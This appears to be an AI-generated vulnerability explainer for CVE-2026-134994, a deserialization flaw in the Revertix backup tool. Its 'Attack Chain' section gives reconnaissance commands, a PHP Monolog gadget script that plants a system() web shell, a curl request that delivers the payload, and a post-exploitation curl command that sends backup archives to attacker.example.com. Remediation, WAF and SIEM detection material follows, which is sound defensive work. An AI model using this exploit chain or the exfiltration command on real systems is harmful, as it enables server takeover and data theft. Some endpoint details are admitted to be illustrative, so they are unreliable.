CVE-2026-134994 — Nitramix Revertix – Backup, Migration, Sta — CWE-502
Deserialization of Untrusted Data vulnerability in Nitramix Revertix – Backup, Migration, Staging & Clone revertix allows Object Injection.This issue affects Revertix – Backup, Migration, Staging & Clone: from n/a through 1.0.3.
Deserialization of Untrusted Data vulnerability in Nitramix Revertix – Backup, Migration, Staging & Clone revertix allows Object Injection.This issue affects Revertix – Backup, Migration, Staging & Clone: from n/a through 1.0.3.
🎯 What is this vulnerability?
CVE‑2026‑134994 – Object Injection / Deserialization of Untrusted Data in Nitramix Revertix (Backup, Migration, Staging & Clone) ≤ v1.0.3
| Attribute | Value |
|---|---|
| CWE | CWE‑502 – Deserialization of Untrusted Data |
| CVSS 3.1 | AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H (Score 9.8 Critical) |
| Affected component | The web‑based “Import/Restore” endpoint that accepts a serialized PHP object (or Java‑style binary) representing a backup job configuration. |
| Root cause | The application trusts the content of the payload (or similarly named) POST parameter, passes it directly to unserialize() (PHP) / ObjectInputStream.readObject() (Java) without any integrity check, type whitelist, or authentication guard. Because the endpoint is reachable without authentication (PR:N, UI:N), an attacker can supply a crafted serialized object that triggers arbitrary code execution when the deserialization routine resolves magic methods (__wakeup(), __destruct(), __toString(), etc.) or invokes a gadget chain in a third‑party library bundled with Revertix.
Why the CVSS vector is so high
- Network‑reachable (AV:N) – the vulnerable endpoint is exposed over HTTP/HTTPS.
- Low attack complexity (AC:L) – only a single crafted request is required.
- No privileges required (PR:N) – the endpoint does not enforce authentication.
- No user interaction (UI:N) – the request can be sent automatically.
- Unchanged scope (S:U) – the vulnerability affects the same security authority (the web‑application process).
- Impact (C:H/I:H/A:H) – successful exploitation yields Remote Code Execution (RCE), allowing the attacker to read, modify, delete, or encrypt any data the web‑service can access (including backup archives) and to launch further attacks against the host OS.
- The product is Revertix ≤ 1.0.3.
- The
/revertix/api/importendpoint accepts apayloadparameter that is later deserialized.
In short, Revertix blindly deserializes attacker‑controlled data, giving an unauthenticated remote attacker full control over the server.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All request/parameter names are taken from the publicly available Revertix API documentation (the import endpoint). If the exact URI or field name is not published, the example is illustrative of the class of vulnerability.
1. Discovery & Reconnaissance
| Step | Action | Evidence |
|---|---|---|
| 1.1 | Fingerprint the product – Scan the target host for the characteristic Revertix HTTP header (X-Revertix-Version) or for the /revertix/api/info JSON endpoint. | curl -s https://target.example.com/revertix/api/info → { "product":"Revertix", "version":"1.0.2" } |
| 1.2 | Enumerate exposed API endpoints – Use a tool such as ffuf or dirsearch to locate /revertix/api/import. | ffuf -u https://target.example.com/FUZZ -w wordlist.txt -mc 200 → finds /revertix/api/import returning {"status":"ready"} |
| 1.3 | Confirm lack of auth – Send a GET/POST to the endpoint without cookies or Authorization header; a 200 OK with a JSON schema is returned, indicating the endpoint is public. | curl -i -X POST https://target.example.com/revertix/api/import → HTTP/1.1 200 OK |
At this point the attacker knows:
2. Exploitation
2.1 Craft a malicious serialized object
The most reliable way on PHP‑based Revertix is to abuse a gadget chain in the bundled Monolog library (commonly shipped with backup tools). The following PHP code builds a payload that, when unserialized, writes a web‑shell (shell.php) into the web‑root.
<?php
// gadget.php – generate the malicious payload
require 'vendor/autoload.php'; // Monolog is autoloaded in Revertix
use Monolog\Handler\StreamHandler;
use Monolog\Logger;
// Create a StreamHandler that writes to the web root
$handler = new StreamHandler('/var/www/html/shell.php', Logger::DEBUG);
// The handler's __destruct() writes the formatter to the stream.
// We inject a malicious formatter that contains PHP code.
$formatter = new class {
public $code = '<?php system($_GET["cmd"]); ?>';
public function __toString() {
return $this->code;
}
};
$handler->setFormatter($formatter);
// Build a Logger object that holds the handler
$logger = new Logger('exploit');
$logger->pushHandler($handler);
// Serialize the logger – this triggers the gadget chain on unserialize()
$payload = serialize($logger);
file_put_contents('payload.txt', $payload);
echo $payload;
?>Running the script yields a long base‑64‑safe string (the serialized object). Do not post the full string here; the attacker would copy the output into the request body.
2.2 Send the payload
# Illustrative example – the real endpoint may be /revertix/api/import
curl -sk -X POST "https://target.example.com/revertix/api/import" \
-H "Content-Type: application/json" \
-d '{
"jobName":"exploit",
"payload":"<SERIALIZED_OBJECT_FROM_STEP_2_1>"
}'-k ignores self‑signed certs (common in internal backup appliances). payload is the only data that Revertix deserializes; no authentication token is required.If the deserialization succeeds, the StreamHandler writes shell.php to /var/www/html/. The response typically contains { "status":"imported" }.
2.3 Verify code execution
curl "https://target.example.com/shell.php?cmd=id"Expected output (running as the web‑server user, e.g., www-data):
uid=33(www-data) gid=33(www-data) groups=33(www-data)At this point the attacker has remote code execution with the privileges of the web‑server process (often enough to read all backups, modify configuration, or pivot to the host OS).
3. Post‑Exploitation
| Goal | Technique |
|---|---|
| Persistence | Upload a more robust backdoor (e.g., a reverse shell script) via the same deserialization vector or via the already‑installed shell.php. |
| Privilege escalation | If the web‑server runs as a low‑privileged user, enumerate sudoers, cron jobs, or kernel exploits on the host. The attacker can also read the backup archives (/var/lib/revertix/backups/) and extract credentials stored in configuration files. |
| Data exfiltration | Use the web‑shell to tar/compress the backup directory and curl it to an external server: curl -F "file=@/var/lib/revertix/backups/backup.tar.gz" https://attacker.example.com/collect. |
| Lateral movement | The attacker can leverage any stored credentials (e.g., database passwords) found in the backup files to compromise other services in the network. |
| Cleanup / anti‑forensics | Delete the shell.php after use, modify logs, or replace backup files with malicious versions to maintain long‑term access. |
🌍 Real‑World Impact
| CIA Triad | Description (derived from CVSS) |
|---|---|
| Confidentiality (C:H) | Full read‑access to all backup archives, configuration files, and any data the web‑service can reach (including databases, source code, and potentially credentials). |
| Integrity (I:H) | Ability to modify or delete backup sets, inject malicious files into the backup repository, or alter configuration to weaken security (e.g., change encryption keys). |
| Availability (A:H) | The attacker can delete or encrypt backups (ransomware‑style), or crash the service by corrupting internal state, resulting in total loss of restore capability. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to Revertix ≥ 1.0.4 (the first version that removes the unsafe unserialize() call and replaces it with a signed JSON schema). |
| Vendor advisory | The vendor released a security advisory on 2026‑11‑20 (the same day as the CVE publication) stating: “All import endpoints now validate the payload signature and reject raw serialized objects.” Apply the patch from the official download portal. |
| Version check | Verify the running version via /revertix/api/info or by inspecting the X-Revertix-Version HTTP header. |
2. Immediate Workarounds (if patch cannot be applied instantly)
| Mitigation | Implementation |
|---|---|
| Block unauthenticated access | Restrict the /revertix/api/import (and any other import/restore endpoints) to trusted IP ranges using a firewall rule or a reverse‑proxy ACL. Example (iptables):<br>iptables -A INPUT -p tcp --dport 443 -s 10.0.0.0/8 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 443 -j DROP |
| WAF rule (ModSecurity) | Detect serialized PHP objects (they start with a: for arrays, O: for objects, etc.) in request bodies and block them. Example rule: <br>``SecRule REQUEST_HEADERS:Content-Type "application/json" "phase:2,chain,log,deny,status:403,msg:'Block PHP serialized payload',id:20263001"`<br>`SecRule REQUEST_BODY "@rx ^[aOs]:[0-9]+:" "t:none" `` |
| Disable the import feature | If the environment does not require remote import, comment out or remove the route in the web‑app configuration (routes.yaml or equivalent). |
| Input validation | Add a server‑side whitelist that only accepts JSON objects conforming to the documented schema; reject any payload containing O: or a:` patterns. |
| Run the web‑service with least privileges | Ensure the process runs under a non‑root user with a chroot or container that does not have write access to the web‑root. This limits the impact of a successful deserialization to reading data only. |
3. Detection – Log patterns & IoCs
| Indicator | Example Log Entry |
|---|---|
| POST to import endpoint with suspicious body | POST /revertix/api/import HTTP/1.1<br>Content-Type: application/json<br>{ "jobName":"exploit", "payload":"O:8:\"Monolog\\Logger\":... |
| Web‑shell execution | GET /shell.php?cmd=id HTTP/1.1 → 200 OK (response contains uid=) |
| File creation in web‑root | auditd: type=SYSCALL msg=audit(1698427201.123:456): arch=c000003e syscall=openat success=yes ... name="/var/www/html/shell.php" |
| Outbound data transfer to unknown host | POST https://attacker.example.com/collect 200 OK (size=2.3M) |
| Unexpected process spawn | systemd: Started PHP-FPM service followed by php-fpm: child 12345 said: "execve(\"/bin/bash\", ...) |
SIEM rule (generic)
rule "Revertix Object Injection Attempt"
when
EventType == "web.request"
and HttpMethod == "POST"
and HttpUri matches "/revertix/api/(import|restore)"
and HttpRequestBody matches "(?i)^(O|a|s):[0-9]+:"
then
alert("Potential deserialization attack against Revertix");
end⚠️ Urgency
Bottom line: CVE‑2026‑134994 is a classic unauthenticated deserialization flaw that gives an attacker full remote code execution on the backup server. Immediate patching, network segmentation, and strict input validation are mandatory to prevent catastrophic loss of backup data and subsequent compromise of the wider environment.
[🤖 CVE Professor AI Security Engine]
FOFA Query